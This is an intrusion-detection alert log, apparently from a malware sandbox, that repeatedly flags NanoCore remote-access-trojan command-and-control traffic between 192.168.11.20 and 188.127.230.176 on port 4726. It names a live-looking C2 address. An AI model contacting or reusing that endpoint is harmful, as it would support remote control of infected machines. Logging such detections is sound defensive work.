Timestamp:	192.168.11.20188.127.230.1764984747262816766 08/05/22-11:36:37.812002
SID:	2816766
Source Port:	49847
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764983747262816766 08/05/22-11:35:43.236046
SID:	2816766
Source Port:	49837
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764980747262816766 08/05/22-11:33:29.009824
SID:	2816766
Source Port:	49807
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764979447262025019 08/05/22-11:33:01.102124
SID:	2025019
Source Port:	49794
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985647262816766 08/05/22-11:37:30.956682
SID:	2816766
Source Port:	49856
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764987947262816766 08/05/22-11:39:31.508413
SID:	2816766
Source Port:	49879
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986647262816766 08/05/22-11:38:24.570048
SID:	2816766
Source Port:	49866
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986947262816766 08/05/22-11:38:47.423878
SID:	2816766
Source Port:	49869
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) - Source IP: 188.127.230.176 - Destination IP: 192.168.11.20

Timestamp:	188.127.230.176192.168.11.204726498922841753 08/05/22-11:40:40.909395
SID:	2841753
Source Port:	4726
Destination Port:	49892
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984947262816766 08/05/22-11:36:49.653463
SID:	2816766
Source Port:	49849
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988647262816766 08/05/22-11:40:06.907839
SID:	2816766
Source Port:	49886
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keepalive Response 1 - Source IP: 188.127.230.176 - Destination IP: 192.168.11.20

Timestamp:	188.127.230.176192.168.11.204726498552810290 08/05/22-11:37:23.933683
SID:	2810290
Source Port:	4726
Destination Port:	49855
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764983947262816766 08/05/22-11:35:55.157703
SID:	2816766
Source Port:	49839
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984147262816718 08/05/22-11:36:06.412675
SID:	2816718
Source Port:	49841
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985247262816718 08/05/22-11:37:06.689723
SID:	2816718
Source Port:	49852
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986247262816718 08/05/22-11:38:06.064476
SID:	2816718
Source Port:	49862
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764981947262816766 08/05/22-11:34:20.560923
SID:	2816766
Source Port:	49819
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764982947262816766 08/05/22-11:35:06.392387
SID:	2816766
Source Port:	49829
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986747262816766 08/05/22-11:38:35.504977
SID:	2816766
Source Port:	49867
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986847262816766 08/05/22-11:38:41.519368
SID:	2816766
Source Port:	49868
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985847262816766 08/05/22-11:37:42.751072
SID:	2816766
Source Port:	49858
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988747262816766 08/05/22-11:40:12.952395
SID:	2816766
Source Port:	49887
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764980947262816766 08/05/22-11:33:42.225764
SID:	2816766
Source Port:	49809
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984847262816766 08/05/22-11:36:43.701356
SID:	2816766
Source Port:	49848
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764982347262025019 08/05/22-11:34:37.283841
SID:	2025019
Source Port:	49823
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985647262025019 08/05/22-11:37:29.239382
SID:	2025019
Source Port:	49856
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986647262025019 08/05/22-11:38:22.853369
SID:	2025019
Source Port:	49866
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988047262816766 08/05/22-11:39:37.382125
SID:	2816766
Source Port:	49880
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986947262025019 08/05/22-11:38:45.661129
SID:	2025019
Source Port:	49869
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764987947262025019 08/05/22-11:39:29.799274
SID:	2025019
Source Port:	49879
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764979447262816766 08/05/22-11:33:02.918743
SID:	2816766
Source Port:	49794
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764987347262025019 08/05/22-11:39:12.794756
SID:	2025019
Source Port:	49873
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764983647262025019 08/05/22-11:35:35.588696
SID:	2025019
Source Port:	49836
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984047262025019 08/05/22-11:35:59.334024
SID:	2025019
Source Port:	49840
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988347262025019 08/05/22-11:39:47.440909
SID:	2025019
Source Port:	49883
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764981347262025019 08/05/22-11:33:59.524508
SID:	2025019
Source Port:	49813
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988947262025019 08/05/22-11:40:22.999504
SID:	2025019
Source Port:	49889
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985047262025019 08/05/22-11:36:53.797027
SID:	2025019
Source Port:	49850
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764989047262816766 08/05/22-11:40:30.642557
SID:	2816766
Source Port:	49890
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984647262025019 08/05/22-11:36:30.148934
SID:	2025019
Source Port:	49846
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764983047262025019 08/05/22-11:35:11.757510
SID:	2025019
Source Port:	49830
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986347262025019 08/05/22-11:38:10.930109
SID:	2025019
Source Port:	49863
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764982047262025019 08/05/22-11:34:24.776943
SID:	2025019
Source Port:	49820
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988647262025019 08/05/22-11:40:05.214833
SID:	2025019
Source Port:	49886
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984347262025019 08/05/22-11:36:17.149109
SID:	2025019
Source Port:	49843
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985347262025019 08/05/22-11:37:11.505020
SID:	2025019
Source Port:	49853
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764981347262816766 08/05/22-11:34:01.956440
SID:	2816766
Source Port:	49813
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764981547262816718 08/05/22-11:34:06.548888
SID:	2816718
Source Port:	49815
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984647262816766 08/05/22-11:36:31.923763
SID:	2816766
Source Port:	49846
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988947262816766 08/05/22-11:40:24.715388
SID:	2816766
Source Port:	49889
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764983647262816766 08/05/22-11:35:37.356616
SID:	2816766
Source Port:	49836
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764982347262816766 08/05/22-11:34:38.400629
SID:	2816766
Source Port:	49823
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764982647262816766 08/05/22-11:34:54.600340
SID:	2816766
Source Port:	49826
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984347262816766 08/05/22-11:36:18.892748
SID:	2816766
Source Port:	49843
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764981647262816766 08/05/22-11:34:14.548367
SID:	2816766
Source Port:	49816
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764980947262025019 08/05/22-11:33:40.862326
SID:	2025019
Source Port:	49809
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985347262816766 08/05/22-11:37:13.273172
SID:	2816766
Source Port:	49853
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986047262025019 08/05/22-11:37:47.088928
SID:	2025019
Source Port:	49860
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988347262816766 08/05/22-11:39:49.207551
SID:	2816766
Source Port:	49883
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764982947262025019 08/05/22-11:35:04.653208
SID:	2025019
Source Port:	49829
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764983947262025019 08/05/22-11:35:53.420369
SID:	2025019
Source Port:	49839
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986347262816766 08/05/22-11:38:12.650833
SID:	2816766
Source Port:	49863
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764981947262025019 08/05/22-11:34:18.846234
SID:	2025019
Source Port:	49819
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764987047262025019 08/05/22-11:38:51.699622
SID:	2025019
Source Port:	49870
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764987347262816766 08/05/22-11:39:14.558994
SID:	2816766
Source Port:	49873
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984447262816766 08/05/22-11:36:24.908622
SID:	2816766
Source Port:	49844
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985447262816766 08/05/22-11:37:19.142625
SID:	2816766
Source Port:	49854
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988047262025019 08/05/22-11:39:35.649873
SID:	2025019
Source Port:	49880
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984947262025019 08/05/22-11:36:47.934119
SID:	2025019
Source Port:	49849
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764989047262025019 08/05/22-11:40:28.935779
SID:	2025019
Source Port:	49890
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764983147262816766 08/05/22-11:35:19.422932
SID:	2816766
Source Port:	49831
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764979947262025019 08/05/22-11:33:09.351214
SID:	2025019
Source Port:	49799
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984147262816766 08/05/22-11:36:06.959521
SID:	2816766
Source Port:	49841
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764987147262816766 08/05/22-11:38:59.359089
SID:	2816766
Source Port:	49871
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764982447262816766 08/05/22-11:34:44.321230
SID:	2816766
Source Port:	49824
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986147262816766 08/05/22-11:37:54.689740
SID:	2816766
Source Port:	49861
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985147262816766 08/05/22-11:37:01.439088
SID:	2816766
Source Port:	49851
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985247262025019 08/05/22-11:37:05.647447
SID:	2025019
Source Port:	49852
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keepalive Response 1 - Source IP: 188.127.230.176 - Destination IP: 192.168.11.20

Timestamp:	188.127.230.176192.168.11.204726498052810290 08/05/22-11:33:20.987562
SID:	2810290
Source Port:	4726
Destination Port:	49805
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764980747262025019 08/05/22-11:33:27.705061
SID:	2025019
Source Port:	49807
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988547262025019 08/05/22-11:39:59.297023
SID:	2025019
Source Port:	49885
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985747262025019 08/05/22-11:37:35.192270
SID:	2025019
Source Port:	49857
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986247262025019 08/05/22-11:38:04.980731
SID:	2025019
Source Port:	49862
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988747262816718 08/05/22-11:40:12.251822
SID:	2816718
Source Port:	49887
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764982447262025019 08/05/22-11:34:42.615251
SID:	2025019
Source Port:	49824
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986747262025019 08/05/22-11:38:33.740764
SID:	2025019
Source Port:	49867
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764987247262025019 08/05/22-11:39:08.530117
SID:	2025019
Source Port:	49872
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988147262816766 08/05/22-11:39:43.302600
SID:	2816766
Source Port:	49881
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764983747262025019 08/05/22-11:35:41.497992
SID:	2025019
Source Port:	49837
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764989247262025019 08/05/22-11:40:40.860829
SID:	2025019
Source Port:	49892
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984747262025019 08/05/22-11:36:36.081307
SID:	2025019
Source Port:	49847
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764989147262816766 08/05/22-11:40:36.556679
SID:	2816766
Source Port:	49891
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764981547262025019 08/05/22-11:34:06.249675
SID:	2025019
Source Port:	49815
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764982547262025019 08/05/22-11:34:48.459435
SID:	2025019
Source Port:	49825
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985447262025019 08/05/22-11:37:17.410149
SID:	2025019
Source Port:	49854
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keepalive Response 1 - Source IP: 188.127.230.176 - Destination IP: 192.168.11.20

Timestamp:	188.127.230.176192.168.11.204726498792810290 08/05/22-11:39:30.538129
SID:	2810290
Source Port:	4726
Destination Port:	49879
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764982047262816766 08/05/22-11:34:26.497193
SID:	2816766
Source Port:	49820
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) - Source IP: 188.127.230.176 - Destination IP: 192.168.11.20

Timestamp:	188.127.230.176192.168.11.204726498722841753 08/05/22-11:39:08.581261
SID:	2841753
Source Port:	4726
Destination Port:	49872
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984447262025019 08/05/22-11:36:23.227143
SID:	2025019
Source Port:	49844
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764980547262025019 08/05/22-11:33:20.270209
SID:	2025019
Source Port:	49805
Destination Port:	4726
Protocol:	TCP
